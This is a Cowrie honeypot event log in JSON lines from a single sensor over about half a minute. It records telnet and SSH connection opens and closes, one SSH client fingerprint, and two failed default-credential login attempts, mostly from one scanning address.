{"eventid":"cowrie.login.failed","username":"mouser","password":"mouser","message":"login attempt [mouser/mouser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:38.963542Z","src_ip":"202.145.0.61","session":"04c15cf14262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.954615592956543,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:39.181693Z","src_ip":"174.138.46.234","session":"8bb4424c8cf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.045091152191162,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:39.327038Z","src_ip":"174.138.46.234","session":"6ff9c08850a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:40.209481Z","src_ip":"202.145.0.61","session":"04c15cf14262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55944,"dst_ip":"10.17.0.5","dst_port":23,"session":"373d50d237fc","protocol":"telnet","message":"New connection: 23.111.140.22:55944 (10.17.0.5:23) [session: 373d50d237fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:40.516503Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56174,"dst_ip":"10.17.0.5","dst_port":23,"session":"2153b1c27f21","protocol":"telnet","message":"New connection: 23.111.140.22:56174 (10.17.0.5:23) [session: 2153b1c27f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:40.588254Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":51008,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8a44129e4e4","protocol":"ssh","message":"New connection: 135.235.138.43:51008 (10.17.0.5:22) [session: e8a44129e4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:41.264887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:41.269290Z","src_ip":"135.235.138.43","session":"e8a44129e4e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58454,"dst_ip":"10.17.0.5","dst_port":23,"session":"cffce25aa9b4","protocol":"telnet","message":"New connection: 23.111.140.22:58454 (10.17.0.5:23) [session: cffce25aa9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:41.398185Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:41.456697Z","src_ip":"135.235.138.43","session":"e8a44129e4e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58948,"dst_ip":"10.17.0.5","dst_port":23,"session":"00fd1e7632bd","protocol":"telnet","message":"New connection: 23.111.140.22:58948 (10.17.0.5:23) [session: 00fd1e7632bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:41.579534Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60310,"dst_ip":"10.17.0.5","dst_port":23,"session":"784c5a89e16f","protocol":"telnet","message":"New connection: 23.111.140.22:60310 (10.17.0.5:23) [session: 784c5a89e16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:42.098248Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qweasd123","message":"login attempt [admin/qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:42.240281Z","src_ip":"135.235.138.43","session":"e8a44129e4e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.114577293395996,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:42.524446Z","src_ip":"23.111.140.22","session":"0663cf57220b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59600,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c4afbe99128","protocol":"telnet","message":"New connection: 23.111.140.22:59600 (10.17.0.5:23) [session: 8c4afbe99128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:42.823815Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35290,"dst_ip":"10.17.0.5","dst_port":23,"session":"88bf691aaabf","protocol":"telnet","message":"New connection: 23.111.140.22:35290 (10.17.0.5:23) [session: 88bf691aaabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:43.220878Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:43.429680Z","src_ip":"135.235.138.43","session":"e8a44129e4e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85486102104187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:43.527842Z","src_ip":"23.111.140.22","session":"52eaeda4ebcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36158,"dst_ip":"10.17.0.5","dst_port":23,"session":"befd5d8f5f39","protocol":"telnet","message":"New connection: 23.111.140.22:36158 (10.17.0.5:23) [session: befd5d8f5f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:43.532480Z"}
{"eventid":"cowrie.session.closed","duration":33.07893514633179,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:44.277647Z","src_ip":"23.111.140.22","session":"05516cf0138d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36870,"dst_ip":"10.17.0.5","dst_port":23,"session":"78a39dacff89","protocol":"telnet","message":"New connection: 23.111.140.22:36870 (10.17.0.5:23) [session: 78a39dacff89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:44.433125Z"}
{"eventid":"cowrie.session.closed","duration":0.007726907730102539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:44.440728Z","src_ip":"23.111.140.22","session":"78a39dacff89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331181526184082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:44.729005Z","src_ip":"23.111.140.22","session":"b89c8dd865f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.96941566467285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:46.323302Z","src_ip":"23.111.140.22","session":"76428f3bb7d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.392370223999023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:46.391464Z","src_ip":"23.111.140.22","session":"830175694bcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.239572286605835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:46.783991Z","src_ip":"23.111.140.22","session":"38e95c5c63b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.87583613395691,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:46.854861Z","src_ip":"23.111.140.22","session":"497a7dd1a87b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.9823215007782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:47.009777Z","src_ip":"23.111.140.22","session":"b0973f360fea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.894266605377197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:47.273479Z","src_ip":"23.111.140.22","session":"4396e45aba73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.236761808395386,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:47.295987Z","src_ip":"23.111.140.22","session":"bd5b980a22c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46808,"dst_ip":"10.17.0.5","dst_port":23,"session":"1db5d69d238a","protocol":"telnet","message":"New connection: 23.111.140.22:46808 (10.17.0.5:23) [session: 1db5d69d238a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:47.410349Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49736,"dst_ip":"10.17.0.5","dst_port":23,"session":"6434fe389704","protocol":"telnet","message":"New connection: 23.111.140.22:49736 (10.17.0.5:23) [session: 6434fe389704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:48.449119Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51658,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1dac04a2b13","protocol":"telnet","message":"New connection: 23.111.140.22:51658 (10.17.0.5:23) [session: c1dac04a2b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:49.228400Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51894,"dst_ip":"10.17.0.5","dst_port":23,"session":"403295312b7e","protocol":"telnet","message":"New connection: 23.111.140.22:51894 (10.17.0.5:23) [session: 403295312b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:50.285248Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55538,"dst_ip":"10.17.0.5","dst_port":23,"session":"d31af038c733","protocol":"telnet","message":"New connection: 23.111.140.22:55538 (10.17.0.5:23) [session: d31af038c733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:50.642323Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52796,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eff8c0919c9","protocol":"telnet","message":"New connection: 23.111.140.22:52796 (10.17.0.5:23) [session: 1eff8c0919c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:50.658366Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52864,"dst_ip":"10.17.0.5","dst_port":23,"session":"03b7fe6c975a","protocol":"telnet","message":"New connection: 23.111.140.22:52864 (10.17.0.5:23) [session: 03b7fe6c975a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:50.675684Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56832,"dst_ip":"10.17.0.5","dst_port":23,"session":"26f74df2aa3d","protocol":"telnet","message":"New connection: 23.111.140.22:56832 (10.17.0.5:23) [session: 26f74df2aa3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:51.139695Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49186,"dst_ip":"10.17.0.5","dst_port":23,"session":"91e779751d36","protocol":"telnet","message":"New connection: 23.111.140.22:49186 (10.17.0.5:23) [session: 91e779751d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:51.246223Z"}
{"eventid":"cowrie.session.closed","duration":32.400177240371704,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:51.250808Z","src_ip":"23.111.140.22","session":"f4a104d71684","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.5243923664093,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:51.913150Z","src_ip":"23.111.140.22","session":"ae5f5eab62cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59270,"dst_ip":"10.17.0.5","dst_port":23,"session":"b732107a80fb","protocol":"telnet","message":"New connection: 23.111.140.22:59270 (10.17.0.5:23) [session: b732107a80fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:52.034541Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59780,"dst_ip":"10.17.0.5","dst_port":23,"session":"c522c25020ec","protocol":"telnet","message":"New connection: 23.111.140.22:59780 (10.17.0.5:23) [session: c522c25020ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:52.239668Z"}
{"eventid":"cowrie.session.closed","duration":41.108227252960205,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:52.316228Z","src_ip":"23.111.140.22","session":"b5e66880e049","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51168,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa4234217e0","protocol":"telnet","message":"New connection: 23.111.140.22:51168 (10.17.0.5:23) [session: 8aa4234217e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:52.996063Z"}
{"eventid":"cowrie.session.closed","duration":35.28320527076721,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:53.068595Z","src_ip":"23.111.140.22","session":"60326b1e1479","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.858100175857544,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:53.227642Z","src_ip":"23.111.140.22","session":"8821a4e12525","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.189364910125732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:53.395383Z","src_ip":"23.111.140.22","session":"c3ea8bb7a3bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.824517250061035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:53.490792Z","src_ip":"23.111.140.22","session":"f855fcadd27e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.274184226989746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:54.020231Z","src_ip":"23.111.140.22","session":"aab1c93a40c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45298981666565,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:54.503326Z","src_ip":"23.111.140.22","session":"724132b3a9a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41434,"dst_ip":"10.17.0.5","dst_port":23,"session":"683887d7a437","protocol":"telnet","message":"New connection: 23.111.140.22:41434 (10.17.0.5:23) [session: 683887d7a437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:55.373781Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42332,"dst_ip":"10.17.0.5","dst_port":23,"session":"22bdb25f70e4","protocol":"telnet","message":"New connection: 23.111.140.22:42332 (10.17.0.5:23) [session: 22bdb25f70e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:55.664295Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44210,"dst_ip":"10.17.0.5","dst_port":23,"session":"d31bbd1800c8","protocol":"telnet","message":"New connection: 23.111.140.22:44210 (10.17.0.5:23) [session: d31bbd1800c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:56.355433Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60188,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2c8b1ac9df5","protocol":"telnet","message":"New connection: 23.111.140.22:60188 (10.17.0.5:23) [session: c2c8b1ac9df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:56.417842Z"}
{"eventid":"cowrie.session.closed","duration":30.803388833999634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:58.100890Z","src_ip":"23.111.140.22","session":"b549ee0fbb9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49960,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa179c08dc10","protocol":"telnet","message":"New connection: 23.111.140.22:49960 (10.17.0.5:23) [session: aa179c08dc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:58.448258Z"}
{"eventid":"cowrie.session.closed","duration":31.520488023757935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:58.733803Z","src_ip":"23.111.140.22","session":"ec11625a3078","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.93861961364746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:59.004817Z","src_ip":"23.111.140.22","session":"51b06af107f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.84106087684631,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:59.116521Z","src_ip":"23.111.140.22","session":"7712f1fa2e0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114331483840942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:59.822266Z","src_ip":"23.111.140.22","session":"6123ecbfa6c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88882112503052,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:59.972549Z","src_ip":"23.111.140.22","session":"bd393db11372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.429012060165405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:00.055134Z","src_ip":"23.111.140.22","session":"f7ad86610165","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56436,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a6243174377","protocol":"telnet","message":"New connection: 23.111.140.22:56436 (10.17.0.5:23) [session: 1a6243174377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:00.687440Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56580,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff00c7acf65e","protocol":"telnet","message":"New connection: 23.111.140.22:56580 (10.17.0.5:23) [session: ff00c7acf65e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:00.728218Z"}
{"eventid":"cowrie.session.closed","duration":33.29577922821045,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:00.745900Z","src_ip":"23.111.140.22","session":"5b634aac6e62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50984,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4dd5f65978a","protocol":"telnet","message":"New connection: 23.111.140.22:50984 (10.17.0.5:23) [session: b4dd5f65978a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:00.802728Z"}
{"eventid":"cowrie.session.closed","duration":30.334144830703735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:02.107550Z","src_ip":"23.111.140.22","session":"3665cf96b1cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60690,"dst_ip":"10.17.0.5","dst_port":23,"session":"81f0e5534250","protocol":"telnet","message":"New connection: 23.111.140.22:60690 (10.17.0.5:23) [session: 81f0e5534250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:02.159977Z"}
{"eventid":"cowrie.session.closed","duration":48.02529835700989,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:02.238148Z","src_ip":"23.111.140.22","session":"1c412b4b0c31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34230,"dst_ip":"10.17.0.5","dst_port":23,"session":"115e28e2c674","protocol":"telnet","message":"New connection: 23.111.140.22:34230 (10.17.0.5:23) [session: 115e28e2c674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:02.764308Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34406,"dst_ip":"10.17.0.5","dst_port":23,"session":"064e7938849d","protocol":"telnet","message":"New connection: 23.111.140.22:34406 (10.17.0.5:23) [session: 064e7938849d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:02.821178Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55428,"dst_ip":"10.17.0.5","dst_port":23,"session":"9761a8dd0103","protocol":"telnet","message":"New connection: 23.111.140.22:55428 (10.17.0.5:23) [session: 9761a8dd0103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:03.361267Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36546,"dst_ip":"10.17.0.5","dst_port":23,"session":"29e2a0bdc914","protocol":"telnet","message":"New connection: 23.111.140.22:36546 (10.17.0.5:23) [session: 29e2a0bdc914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:03.553668Z"}
{"eventid":"cowrie.session.closed","duration":31.46150016784668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:04.381430Z","src_ip":"23.111.140.22","session":"3a5659053bcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59706,"dst_ip":"10.17.0.5","dst_port":23,"session":"8331d437cafd","protocol":"telnet","message":"New connection: 23.111.140.22:59706 (10.17.0.5:23) [session: 8331d437cafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:04.835248Z"}
{"eventid":"cowrie.session.closed","duration":31.715562343597412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:04.984522Z","src_ip":"23.111.140.22","session":"3c802a8b795e","protocol":"telnet"}
